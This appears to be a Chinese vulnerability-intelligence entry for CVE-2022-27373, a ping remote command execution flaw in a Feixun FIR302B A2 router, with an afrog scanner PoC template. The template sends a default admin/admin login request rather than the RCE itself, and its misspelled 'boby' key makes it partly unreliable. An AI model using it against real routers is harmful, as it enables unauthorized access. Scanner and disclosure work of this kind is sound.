CVE-2022-27373: CVE-2022-27373 - 漏洞情报订阅

漏洞描述

上海飞讯数据通信技术有限公司路由器fir302b A2被发现存在Ping功能远程命令执行（RCE）漏洞。

PoC代码[已公开]

id: CVE-2022-27373

info:
  name: CVE-2022-27373
  author: zhizhuo
  severity: high
  verified: true
  description: |-
    上海飞讯数据通信技术有限公司路由器fir302b A2被发现存在Ping功能远程命令执行（RCE）漏洞。
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27373
    - https://nvd.nist.gov/vuln/detail/CVE-2022-27373
  tags: cve,cve2022,fir302b,rce
  created: 2023/06/23

rules:
  verify:
    request:
      method: POST
      path: /login.cgi
      boby: action_mode=apply&next_page=index.html&current_page=login.html&username=admin&password=YWRtaW4%3D&login=%E7%99%BB%E5%BD%95
    expression: response.status == 200 && response.headers.bcontains(b'index.html')
expression: verify()

来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2022/CVE-2022-27373.yaml